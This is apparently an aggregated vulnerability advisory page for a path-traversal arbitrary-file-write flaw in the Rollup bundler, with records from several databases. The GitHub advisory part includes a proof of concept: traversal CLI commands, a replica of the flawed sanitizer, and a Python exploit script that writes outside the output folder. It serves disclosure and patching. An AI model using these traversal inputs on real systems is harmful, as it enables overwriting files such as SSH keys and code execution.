Rollup 4 has Arbitrary File Write via Path Traversal

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

Rollup is a module bundler for JavaScript. Versions prior to 2.80.0, 3.30.0, and 4.59.0 of the Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (`../`) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files. Versions 2.80.0, 3.30.0, and 4.59.0 contain a patch for the issue.

Source published

25 Feb 2026 02:08:06 UTC

Source modified

10 Sep 2026 12:05:04 UTC

Saved here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · 8.8 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

Rollup is a module bundler for JavaScript. Versions prior to 2.80.0, 3.30.0, and 4.59.0 of the Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (`../`) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files. Versions 2.80.0, 3.30.0, and 4.59.0 contain a patch for the issue.

Source published

Feb 25, 2026, 2:08:06 AM (timezone not stated)

Source modified

Sep 10, 2026, 12:05:04 PM (timezone not stated)

Saved here

15 Nov 2026 09:27:01 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 4.0 · 8.8 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

Rollup is a module bundler for JavaScript. Versions prior to 2.80.0, 3.30.0, and 4.59.0 of the Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (`../`) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files. Versions 2.80.0, 3.30.0, and 4.59.0 contain a patch for the issue.

Source published

25 Feb 2026 03:16:04 UTC

Source modified

10 Sep 2026 13:18:01 UTC

Saved here

25 Oct 2026 06:17:33 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · [email protected] · Secondary · 8.8 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Primary · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary · 9.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

### Summary The Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (`../`) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files. ### Details The vulnerability is caused by the combination of two flawed components in the Rollup core: 1. **Improper Sanitization**: In `src/utils/sanitizeFileName.ts`, the `INVALID_CHAR_REGEX` used to clean user-provided names for chunks and assets excludes the period (`.`) and forward/backward slashes (`/`, `\`). ```typescript // src/utils/sanitizeFileName.ts (Line 3) const INVALID_CHAR_REGEX = /[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g; ``` This allows path traversal sequences like `../../` to pass through the sanitizer unmodified. 2. **Unsafe Path Resolution**: In `src/rollup/rollup.ts`, the `writeOutputFile` function uses `path.resolve` to combine the output directory with the "sanitized" filename. ```typescript // src/rollup/rollup.ts (Line 317) const fileName = resolve(outputOptions.dir || dirname(outputOptions.file!), outputFile.fileName); ``` Because `path.resolve` follows the `../` sequences in `outputFile.fileName`, the resulting path points outside of the intended output directory. The subsequent call to `fs.writeFile` completes the arbitrary write. ### PoC A demonstration of this vulnerability can be performed using the Rollup CLI or a configuration file. **Scenario: CLI Named Input Exploit** 1. Target a sensitive file location (for demonstration, we will use a file in the project root called `pwned.js`). 2. Execute Rollup with a specifically crafted named input where the key contains traversal characters: ```bash rollup --input "a/../../pwned.js=main.js" --dir dist ``` 3. **Result**: Rollup will resolve the output path for the entry chunk as `dist + a/../../pwned.js`, which resolves to the project root. The file `pwned.js` is created/overwritten outside the `dist` folder. **Reproduction Files provided :** * `vuln_app.js`: Isolated logic exactly replicating the sanitization and resolution bug. * `exploit.py`: Automated script to run the PoC and verify the file escape. vuln_app.js ```js const path = require('path'); const fs = require('fs'); /** * REPLICATED ROLLUP VULNERABILITY * * 1. Improper Sanitization (from src/utils/sanitizeFileName.ts) * 2. Unsafe Path Resolution (from src/rollup/rollup.ts) */ function sanitize(name) { // The vulnerability: Rollup's regex fails to strip dots and slashes, // allowing path traversal sequences like '../' return name.replace(/[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g, '_'); } async function build(userSuppliedName) { const outputDir = path.join(__dirname, 'dist'); const fileName = sanitize(userSuppliedName); // Vulnerability: path.resolve() follows traversal sequences in the filename const outputPath = path.resolve(outputDir, fileName); console.log(`[*] Target write path: ${outputPath}`); if (!fs.existsSync(path.dirname(outputPath))) { fs.mkdirSync(path.dirname(outputPath), { recursive: true }); } fs.writeFileSync(outputPath, 'console.log("System Compromised!");'); console.log(`[+] File written successfully.`); } build(process.argv[2] || 'bundle.js'); ``` exploit.py ```py import subprocess from pathlib import Path def run_poc(): # Target a file outside the 'dist' folder poc_dir = Path(__file__).parent malicious_filename = "../pwned_by_rollup.js" target_path = poc_dir / "pwned_by_rollup.js" print(f"=== Rollup Path Traversal PoC ===") print(f"[*] Malicious Filename: {malicious_filename}") # Trigger the vulnerable app subprocess.run(["node", "poc/vuln_app.js", malicious_filename]) if target_path.exists(): print(f"[SUCCESS] File escaped 'dist' folder!") print(f"[SUCCESS] Created: {target_path}") # target_path.unlink() # Cleanup else: print("[FAILED] Exploit did not work.") if __name__ == "__main__": run_poc() ``` ## POC ```rollup --input "bypass/../../../../../../../Users/vaghe/OneDrive/Desktop/pwned_desktop.js=main.js" --dir dist``` <img width="1918" height="1111" alt="image" src="https://github.com/user-attachments/assets/3474eb7c-9c4b-4acd-9103-c70596b490d4" /> ### Impact This is a **High** level of severity vulnerability. * **Arbitrary File Write**: Attackers can overwrite sensitive files like `~/.ssh/authorized_keys`, `.bashrc`, or system binaries if the build process has sufficient privileges. * **Supply Chain Risk**: Malicious third-party plugins or dependencies can use this to inject malicious code into other parts of a developer's machine during the build phase. * **User Impact**: Developers running builds on untrusted repositories are at risk of system compromise.

Source published

25 Feb 2026 22:37:26 UTC

Source modified

10 Sep 2026 03:50:35 UTC

Saved here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

Publisher rating · HIGH